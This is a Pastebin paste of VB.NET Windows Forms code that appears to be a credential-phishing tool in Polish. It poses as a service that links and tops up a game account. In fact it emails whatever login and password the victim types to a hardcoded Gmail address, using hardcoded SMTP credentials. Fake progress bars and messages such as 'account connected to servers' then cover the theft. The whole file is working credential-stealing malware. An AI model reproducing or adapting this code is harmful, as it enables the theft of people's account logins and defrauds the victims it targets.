Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Imports System.Net.Mail
- Public Class Form1
- Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
- End Sub
- Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
- Timer1.Start()
- Dim MyMailMessage As New MailMessage()
- Try
- MyMailMessage.From = New MailAddress("paprotkassiepluginy@gmail.com")
- MyMailMessage.To.Add("paprotkassiepluginy@gmail.com")
- MyMailMessage.Subject = "Jakis debil dał nam golda"
- MyMailMessage.Body = "Login: " + TextBox1.Text & vbCrLf + "Hasło: " + TextBox2.Text
- Dim SMTP As New SmtpClient("smtp.gmail.com")
- SMTP.Port = 587
- SMTP.EnableSsl = True
- SMTP.Credentials = New System.Net.NetworkCredential("paprotkassiepluginy@gmail.com", " kupcia123")
- SMTP.Send(MyMailMessage)
- TextBox2.Text = ""
- Catch ex As Exception
- End Try
- End Sub
- Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
- Timer2.Start()
- End Sub
- Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
- ProgressBar1.Increment(1)
- If ProgressBar1.Value = 100 Then
- Label5.Text = "Konto zostało połaczone z serwerami"
- End If
- End Sub
- Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick
- ProgressBar2.Increment(20)
- If ProgressBar2.Value = 100 Then
- Label6.Text = "Konto zostało doładowane"
- End If
- End Sub
- End Class
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement